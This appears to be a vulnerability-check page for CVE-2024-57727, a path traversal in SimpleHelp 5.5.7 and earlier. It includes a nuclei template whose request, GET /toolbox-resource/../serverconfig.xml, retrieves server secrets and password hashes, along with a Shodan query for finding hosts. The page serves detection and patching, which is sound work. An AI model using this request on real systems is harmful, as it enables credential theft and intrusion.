SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal

Exploited in the wild. Listed by CISA on 2025-02-13; known to be used by ransomware.

highseverity

7.5CVSS score

96.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.

Impact

Unauthenticated attackers can exploit path traversal to download server configuration files containing secrets, hashed passwords, and other sensitive information.

Fix

Update SimpleHelp to version 5.5.8 or later to address the path traversal vulnerabilities.

How to confirm it

Send: GET /toolbox-resource/../serverconfig.xml
Positive when: contains "<SimpleSuite" and "<HashPassword>" AND contains in content_type "application/octet-stream"

Run it with nuclei: nuclei -id CVE-2024-57727 -u <target>

The full check

id: CVE-2024-57727

info:
  name: SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal
  author: iamnoooob,rootxharsh,pdresearch,3th1cyuk1
  severity: high
  description: |
    SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
  impact: |
    Unauthenticated attackers can exploit path traversal to download server configuration files containing secrets, hashed passwords, and other sensitive information.
  remediation: |
    Update SimpleHelp to version 5.5.8 or later to address the path traversal vulnerabilities.
  reference:
    - https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
    - https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-57727
    cwe-id: CWE-22
    epss-score: 0.96833
    epss-percentile: 0.99887
    cpe: cpe:2.3:a:simple-help:simplehelp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple-help
    product: simplehelp
    shodan-query: html:"SimpleHelp"
  tags: cve,cve2024,simplehelp,lfi,kev,vkev,vuln

http:
  - raw:
      - |
        GET /toolbox-resource/../serverconfig.xml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<SimpleSuite'
          - '<HashPassword>'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/octet-stream'

References

Use this check only on systems you are authorised to test. Where the data comes from